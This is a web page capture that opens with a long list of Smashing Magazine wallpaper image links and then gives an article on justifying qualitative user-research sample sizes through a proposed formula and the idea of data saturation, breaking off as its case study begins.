  848. 848 https://www.xing.com/profile/Sabrina_Lobien
  849. 849 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/apr-17-flowers-on-the-wall-full.png
  850. 850 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/apr-17-flowers-on-the-wall-preview.png
  851. 851 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1280×1024.png
  852. 852 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1080.png
  853. 853 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1200.png
  854. 854 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-1920×1440.png
  855. 855 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/cal/apr-17-flowers-on-the-wall-cal-2560×1440.png
  856. 856 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1280×1024.png
  857. 857 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1080.png
  858. 858 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1200.png
  859. 859 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-1920×1440.png
  860. 860 http://files.smashingmagazine.com/wallpapers/apr-17/flowers-on-the-wall/nocal/apr-17-flowers-on-the-wall-nocal-2560×1440.png
  861. 861 http://www.facebook.com/doud.design
  862. 862 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/apr-17-what-does-the-fox-say-full.jpg
  863. 863 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/apr-17-what-does-the-fox-say-preview.jpg
  864. 864 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1366×768.jpg
  865. 865 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1400×1050.jpg
  866. 866 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1440×900.jpg
  867. 867 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1600×1200.jpg
  868. 868 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1680×1050.jpg
  869. 869 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1680×1200.jpg
  870. 870 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1080.jpg
  871. 871 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1200.jpg
  872. 872 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-1920×1440.jpg
  873. 873 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/cal/apr-17-what-does-the-fox-say-cal-2560×1440.jpg
  874. 874 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1366×768.jpg
  875. 875 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1400×1050.jpg
  876. 876 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1440×900.jpg
  877. 877 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1600×1200.jpg
  878. 878 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1680×1050.jpg
  879. 879 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1680×1200.jpg
  880. 880 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1080.jpg
  881. 881 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1200.jpg
  882. 882 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-1920×1440.jpg
  883. 883 http://files.smashingmagazine.com/wallpapers/apr-17/what-does-the-fox-say/nocal/apr-17-what-does-the-fox-say-nocal-2560×1440.jpg
  884. 884 http://www.colormean.com/
  885. 885 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/apr-17-aprils-octave-full.png
  886. 886 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/apr-17-aprils-octave-preview.png
  887. 887 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-320×480.png
  888. 888 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-640×480.png
  889. 889 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-800×480.png
  890. 890 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-800×600.png
  891. 891 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1024×768.png
  892. 892 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1024×1024.png
  893. 893 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1152×864.png
  894. 894 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×720.png
  895. 895 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×800.png
  896. 896 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×960.png
  897. 897 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1280×1024.png
  898. 898 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1366×768.png
  899. 899 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1440×900.png
  900. 900 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1440×1050.png
  901. 901 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1600×1200.png
  902. 902 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1680×1050.png
  903. 903 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1680×1200.png
  904. 904 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1080.png
  905. 905 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1200.png
  906. 906 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-1920×1440.png
  907. 907 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/cal/apr-17-aprils-octave-cal-2560×1440.png
  908. 908 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-320×480.png
  909. 909 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-640×480.png
  910. 910 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-800×480.png
  911. 911 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-800×600.png
  912. 912 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1024×768.png
  913. 913 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1024×1024.png
  914. 914 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1152×864.png
  915. 915 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×720.png
  916. 916 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×800.png
  917. 917 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×960.png
  918. 918 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1280×1024.png
  919. 919 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1366×768.png
  920. 920 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1440×900.png
  921. 921 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1440×1050.png
  922. 922 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1600×1200.png
  923. 923 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1680×1050.png
  924. 924 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1680×1200.png
  925. 925 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1080.png
  926. 926 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1200.png
  927. 927 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-1920×1440.png
  928. 928 http://files.smashingmagazine.com/wallpapers/apr-17/aprils-octave/nocal/apr-17-aprils-octave-nocal-2560×1440.png
  929. 929 https://loadedlandscapes.com/
  930. 930 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/apr-17-new-beginnings-full.jpg
  931. 931 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/apr-17-new-beginnings-preview.jpg
  932. 932 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-320×480.jpg
  933. 933 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-640×480.jpg
  934. 934 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-800×480.jpg
  935. 935 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-800×600.jpg
  936. 936 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1024×768.jpg
  937. 937 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1024×1024.jpg
  938. 938 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1152×864.jpg
  939. 939 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×720.jpg
  940. 940 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×800.jpg
  941. 941 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×960.jpg
  942. 942 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1280×1024.jpg
  943. 943 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1366×768.jpg
  944. 944 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1400×1050.jpg
  945. 945 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1440×900.jpg
  946. 946 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1600×1200.jpg
  947. 947 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1680×1050.jpg
  948. 948 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1680×1200.jpg
  949. 949 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1080.jpg
  950. 950 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1200.jpg
  951. 951 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-1920×1440.jpg
  952. 952 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/cal/apr-17-new-beginnings-cal-2560×1440.jpg
  953. 953 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-320×480.jpg
  954. 954 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-640×480.jpg
  955. 955 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-800×480.jpg
  956. 956 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-800×600.jpg
  957. 957 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1024×768.jpg
  958. 958 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1024×1024.jpg
  959. 959 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1152×864.jpg
  960. 960 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×720.jpg
  961. 961 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×800.jpg
  962. 962 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×960.jpg
  963. 963 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1280×1024.jpg
  964. 964 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1366×768.jpg
  965. 965 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1400×1050.jpg
  966. 966 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1440×900.jpg
  967. 967 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1600×1200.jpg
  968. 968 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1680×1050.jpg
  969. 969 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1680×1200.jpg
  970. 970 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1080.jpg
  971. 971 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1200.jpg
  972. 972 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-1920×1440.jpg
  973. 973 http://files.smashingmagazine.com/wallpapers/apr-17/new-beginnings/nocal/apr-17-new-beginnings-nocal-2560×1440.jpg
  974. 974 https://www.smashingmagazine.com/desktop-wallpaper-calendars-join-in/

↑ Back to topTweet itShare on Facebook

Filling Up Your Tank, Or How To Justify User Research Sample Size And Data

Filling Up Your Tank, Or How To Justify User Research Sample Size And Data

Jen is presenting her research report to a client, who runs an e-commerce website. She conducted interviews with 12 potential users. Her goal was to understand the conditions under which users choose to shop online versus in store. The client asks Jen why they should trust her research when she has spoken to only 12 people. Jen explains her process to the client. She shares how she determined the sample size and collected and analyzed her data through the lens of data saturation. The client feels comfortable with the explanation. She asks Jen to continue the presentation.

Further Reading on SmashingMag: Link

Introduction Link

Researchers must justify the sample size of their studies. Clients, colleagues and investors want to know they can trust a study’s recommendations. They base a lot of trust on sample population and size. Did you talk to the right people? Did you talk to the right number of people? Researchers must also know how to make the most of the data they collect. Your sample size won’t matter if you haven’t asked good questions and done thorough analysis.

Quantitative research methods (such as surveys) come with effective statistical techniques for determining a sample size. This is based on the population size you are studying and the level of confidence desired in the results. Many stakeholders are familiar with quantitative methods and terms such as “statistical significance.” These stakeholders tend to carry this understanding across all research projects and are, therefore, expecting to hear similar terms and hear of similar sample sizes across research projects.

Qualitative researchers need to set the context for stakeholders. Qualitative research methods (such as interviews) currently have no similar commonly accepted technique. Yet, there are steps you should take to ensure you have collected and analyzed the right amount of data.

In this article, I will propose a formula for determining qualitative sample sizes in user research. I’ll also discuss how to collect and analyze data in order to achieve “data saturation.” Finally, I will provide a case study highlighting the concepts explored in this article.

5
(Image credit: Brandon Sax1714106) (View large version7)

Qualitative Research Sample Sizes Link

As researchers, or members of teams that work with researchers, we need to understand and convey to others why we’ve chosen a particular sample size.

I’ll give you the bad news first. We don’t have an agreed-upon formula to determine an exact sample size for qualitative research. Anyone who says otherwise is wrong. We do have some suggested guidelines based on precedent in academic studies. We often use smaller sample sizes for qualitative research. I have been in projects that include interviews with fewer than 10 people. I have also been in projects in which we’ve interviewed dozens of people. Jakob Nielson suggests a sample size of five for usability testing. However, he adds a number of qualifiers, and the suggestion is limited to usability testing studies, not exploratory interviews, contextual inquiry or other qualitative methods commonly used in the generative stages of research.

So, how do we determine a qualitative sample size? We need to understand the purpose of our research. We conduct qualitative research to gain a deep understanding of something (an event, issue, problem or solution). This is different from quantitative research, whose purpose is to quantify, or measure the presence of, something. Quantification usually provides a shallow yet broad view of an issue.

You can determine your qualitative research sample size on a rolling basis. Or you can state the sample size up front.

If you are an academic researcher in a multi-year project, or you have a large budget and generous timeline, you can suggest a rolling sample size. You’d collect data from a set number of participants. At the same time, you’d analyze the data and determine whether you need to collect more data. This approach leads to large amounts of data and greater certainty in your findings. You will have a deep and broad view of the issue that you are designing to address. You would stop collecting data because you have exhausted the need to continue collecting data. You will likely end up with a larger sample size.

Most clients or projects require you to state a predetermined sample size. Reality, in the form of budget and time, often dictates sample sizes. You won’t have time to interview 50 people and do a thorough analysis of the data if your project is expected to move from research to design to development over an 8- to 10-week period. A sample size of 10 to 12 is probably more realistic for a project like this. You will probably have two weeks to get from recruitment to analysis. You would stop because you have exhausted the resources for your study. Yet our clients and peers want us to make impactful recommendations from this data.

Your use of a rolling or predetermined sample size will determine how you speak about why you stopped collecting data. For a rolling sample, you could say, “We stopped collecting data after analysis found it would no longer prove valuable to collect more data.” If you use a predetermined sample size, you could say, “We stopped collecting data after we interviewed (or observed, etc.) the predetermined number we agreed upon. We fully analyzed the data collected.”

We can still maintain a rigorous process using a predetermined sample size. Our findings are still valid. Data saturation helps to ensure this. You need to complete three steps in order to claim you’ve done due diligence in determining a sample size and reaching data saturation when using a predetermined sample:

  1. Determine a sample sized based on meaningful criteria.
  2. Reach saturation of data collection.
  3. Reach saturation of data analysis.

I will cover each step in detail in the following sections.

Determining A Sample Size: From Guidelines To A Formula Link

Donna Bonde from Research by Design, a marketing research firm, provides research-based guidelines8 (Qualitative market research: When enough is enough) to help determine the size of a qualitative research sample up front. Bonde reviewed the work of numerous market research studies to determine the consistent key factors for sample sizes across the studies. Bonde considers the guidelines not to be a formula, but rather to be factors affecting qualitative sample sizes. The guidelines are meant for marketing research, so I’ve modified them to suit the needs of the user researcher. I have also organized the relevant factors into a formula. This will help you to determine and justify a sample size and to increase the likelihood of reaching saturation.

Qualitative Sample Size Formula Link

The formula for determining a sample size, based on my interpretation of Research by Design’s guidelines, is: scope × characteristics &div; expertise + or - resources.

Here are descriptions and examples for the four factors of the formula for determining your qualitative sample size.

1. Scope of the Investigation Link

You need to consider what you are trying to accomplish. This is the most important factor when considering sample size. Are you looking to design a solution from scratch? Or are you looking to identify small wins to improve your current product’s usability? You would maximize the number of research participants if you were looking to inform the creation of a new experience. You could include fewer participants if you are trying to identify potential difficulties in the checkout workflow of your application.

Numerically, the scope can be anywhere from 1 to infinity. A zero would designate no research, which violates principles of UX design. You will multiply the scope by each user type × 3 in the next step. So, including a number greater than 1 will drastically increase your sample size. Scope is all about how you want to apply your results. I recommend using the following values for filling in scope:

  1. research looking at an existing product (for example, usability testing, identifying new features, or studying the current state);
  2. creating a new product (for example, a new portal where you will house all applications that your staff use);
  3. generalizing beyond your product (for example, publishing your study in a research journal or claiming a new design process).
Three gas pumps representing scope. From left to right, gas pumps are labeled improve, create, and generalize.9
Your sample size should increase as your scope increases. (Image: Brandon Sax1714106) (View large version11)

I’ve given you guidelines for scope that will make sure your sample size is comparable to what some academic researchers suggest. Scholar John Creswell suggests12 guidelines ranging from as few as five for a case study (for example, your existing product) to more than 20 for developing a new theory (for example, generalizing beyond your product). We won’t stop with Creswell’s recommendations because you will create a stronger argument and demonstrate better understanding when you show that you’ve used a formula to determine your sample size. Also, scholars are nowhere near agreement on specific sample sizes to use, as Creswell suggests.

2. Characteristics of the Study’s Population Link

You will increase your sample size as the diversity of your population increases. You will want multiple representatives of each persona or user type you are designing for. I recommend a minimum of three participants per user type. This allows for a deeper exploration of the experience each user type might have.

Let’s say you are designing an application that enables manufacturing companies to input and track the ordering and shipment of supplies from warehouses to factories. You would want to interview many people involved in this process: warehouse floor workers, office staff, procurement staff from the warehouse and factory, managers and more. If you were looking only to redesign the interface of the read-only tracking function of this app, then you might only need to interview people who look at the tracking page of the application: warehouse and factory office workers.

Numerically, C = P × 3, where P equals the number of unique user types you’ve identified. Three user types would give you C = 9.

3. Expertise of the Researchers Link

Experienced researchers can do more with a smaller sample size than less experienced researchers. Qualitative researchers insert themselves into the data-collection process differently than quantitative researchers. You can’t change your line of questioning in a survey based on an unforeseen topic becoming relevant. You can adjust your line of questioning based on the real-time feedback you get from a qualitative research participant. Experienced researchers will generate more and better-quality data from each participant. An experienced researcher knows how and when to dig deeper based on a participant’s response. An experienced researcher will bring a history of experiences to add insight to the data analysis.

Numerically, expertise (E) could range from 1 to infinity. Realistically, the range should be from 1 to 2. For example, a researcher with no experience should have a 1 because they will need the full size of the sample, and they would gain experience as the project moves forward. Using a 2 would halve your sample size (at that point in the formula), which is drastic as well. I’d suggest adding tenths (.10) based on 5-year increments; for example, a researcher with 5 years of experience would give you E = 1.10.

A blue and purple sports car with data points above it to represent expertise.13
Expertise can speed up your research and reduce your sample size. (Image: Brandon Sax1714106) (View large version15)

4. Resources Link

An unfortunate truth, you will have to account for budget and time constraints when determining a sample size. You will need to increase either your timeline or the number of researchers on a project, as you increase the size of your sample. Most clients or projects will require you to identify a set number of research participants. Time and money will affect this number. You will need to budget time for recruiting participants and analyzing data. You will also need to consider the needs of design and development for completing those duties. Peers will not value your research findings if the findings come in after everyone else has moved forward. I recommend scaling down a sample size to get the data on time, rather than hold on to a sample size that causes your research to drag on past when your team needs the findings.

Numerically, resources will be a number from N (i.e. the desired sample size) - 1 or more to + 1 or more. You’ll determine resources based on the cost and time you will spend recruiting participants, conducting research and analyzing data. You might have specific numbers based on previous efforts. For example, you might know it will cost around $15,000 to use a recruitment service, to rent a facility for two days and to pay 15 participants for one-hour interviews. You also know the recruiting service will ask for up to three weeks to find the sample you need, depending on the complexity of the study. On the other hand, you might be able to recruit 15 participants at no extra cost if you ask your client to find existing users, but that might add weeks to the process if you can’t find them quickly or if potential participants aren’t immediately available.

You will need to budget for the time and resources necessary to get the sample you require, or you will need to reduce your sample accordingly. Because this is a fact of life, I recommend being up front about it. Say to your boss or client, “We want to speak to 15 users for this project. But our budget and timeline will only allow for 10. Please keep that in mind when we present our findings.”

Using The Formula: An Example Link

Let’s say you want to figure out how many participants to include in a study that is assessing the need to create an area for customer-service staff members of a mid-sized client to access the applications they use at work (a portal). Your client states that there are three basic user types: floor staff, managers and administrators. You have a healthy budget and a total of 10 weeks to go from research to presentation of design concepts for the portal and a working prototype of a few workflows within the portal. You have been a researcher for 11 years.

Your formula for determining a sample size would be:

  • scope (S) large scope - creating a new portal (S) = 2;
  • characteristics (C) - 3 user types (C) = 9;
  • expertise (E) - 11 years (E)= 1.20;
  • resources (R) - fine for this study (R) = 0;
  • our formula is ((SxC)/E) + R;
  • So, ((2x9)/1.2) + 0 = 15 participants for this study.

Data Saturation Link

Data saturation is a concept from academic research. Academics do not agree on the definition of saturation. The basic idea is to get enough data to support the decisions you make, and to exhaust your analysis of that data. You need to get enough data in order to create meaningful themes and recommendations from your exhaustive analysis. Reaching data saturation depends on the particular methods you are using to collect data. Interviews are often cited as the best method to ensure you reach data saturation.

Researchers do not often use sample size alone as the criterion for assessing saturation. I support a two-pronged definition: saturation of data collection and saturation of data analysis. You need to do both to achieve data saturation in a study. You also need to do both, data collection and analysis, simultaneously to know you’ve achieved saturation before the study concludes.

Saturation Of Data Collection Link

You would collect enough meaningful data to identify key themes and make recommendations. Once you have coded your data and identified key themes, do you have actionable takeaways? If so, you should feel comfortable with what you have. If you haven’t identified meaningful themes or if the participants have all had many different experiences, then collect additional data. Or if something unique came up in only one interview, you might add more focused interviews to further explore that concept.

You would achieve saturation of data collection in part by collecting rich data. Rich data is data that provides a depth of insight into the problem you are investigating. Rich data is an output of good questions, good follow-up prompts and an experienced researcher. You would collect rich data based on the quality of the data collection, not the sample size. It’s possible to get better information from a sample of three people whom you spend an hour each interviewing than you would from six people whom you only spend 30 minutes interviewing. You need to hone your questions in order to collect rich data. You would accomplish this when you create a questionnaire and iterate based on feedback from others, as well as from practice runs prior to data collection.

You might want to limit your study to specific types of participants. This could reduce the need for a larger sample to reach saturation of data collection.

For example, let’s say you want to understand the situation of someone who has switched banks recently.

Have you identified key characteristics that might differentiate members of this group? Perhaps someone who recently moved and switched banks has had a drastically different experience than someone whose bank charged them too many fees and made them angry.

Have you talked to multiple people who fit each user type? Did their experiences suggest a commonality between the user types? Or do you need to look deeper at one or both user types?

If you interview only one person who fits the description of a user who has recently moved and switched banks, then you’d need to increase your sample and talk to more people of that user type. Perhaps you could make an argument that only one of these user types is relevant to your current project. This would allow you to focus on one of the user types and reduce the number of participants needed to reach saturation of data collection.

Saturation Of Data Collection Example Link

Let’s say you’ve determined that you’ll need a sample size of 15 people for your banking study.

You’ve created your questionnaire and focused on exploring how your participants have experienced banking, both in person and online, over the past five years. You spend an hour interviewing each participant, thoroughly exhausting your lines of questioning and follow-up prompts.

You collect and analyze the data simultaneously. After 12 interviews, you find the following key themes have emerged from your data:

  • users feel banks lack transparency,
  • users have poor onboarding experiences,
  • users feel more compelled to bank somewhere where they feel a personal connection.

Your team meets to discuss the themes and how to apply them to your work. You decide as a team to create a concept for a web-based onboarding experience that facilitates transparency into how the bank applies fees to accounts, that addresses how the client allows users to share personal banking experiences and to invite others, and that covers key aspects of onboarding that your participants said were lacking from their account-opening experiences.

You have reached one of the two requirements for saturation: You have collected enough meaningful data to identify key themes and make recommendations. You have an actionable takeaway from your findings: to create an onboarding experience that highlights transparency and personal connections. And it only took you 12 participants to get there. You finish the last three interviews to validate what you’ve heard and to stockpile more data for the next component of saturation.

Saturation Of Data Analysis Link

You thoroughly analyze the data you have collected to reach saturation of data analysis. This means you’ve done your due diligence in analyzing the data you’ve collected, whether the sample size is 1 or 100. You can analyze qualitative data in many ways. Some of the ways depend on the exact method of data collection you’ve followed.

You will need to code all of your data. You can create codes inductively (based on what the data tell you) or deductively (predetermined codes). You are trying to identify meaningful themes and points made in the data. You saturate data analysis when you have coded all data and identified themes supported by the coded data. This is also where the researcher’s experience comes into play. Experience will help you to identify meaningful codes and themes more quickly and to translate them into actionable recommendations.

A racetrack with data points and icons representing the concept of data analysis.16
You cannot reach data saturation without thorough data analysis. (Image: Brandon Sax1714106) (View large version18)

Going back to our banking example, you’ve presented your findings and proposed an onboarding experience to your client. The client likes the idea, but also suggests there might be more information to uncover about the lack of transparency. They suggest you find a few more people to interview about this theme specifically.

You ask another researcher to review your data before you agree to interview more people. This researcher finds variation in the transparency-themed quotes that the current codes don’t cover: Some users think banks lack transparency around fees and services. Others mention that banks lack transparency in how client information is stored and used. Initially, you only coded a lack of transparency in fee structures. The additional pair of eyes reviewing your data enables you to reach saturation of analysis. Your designers begin to account for this variation of transparency in the onboarding experience and throughout. They highlight bank privacy and data-security policies.

You have a discussion with your client and suggest not moving forward with additional interviews. You were able to reach saturation of data analysis once you reviewed the data and applied additional codes. You don’t need additional interviews.

Sample Size Formula And Data Saturation Case Study Link

Let’s run through a case study covering the concepts presented in this article.

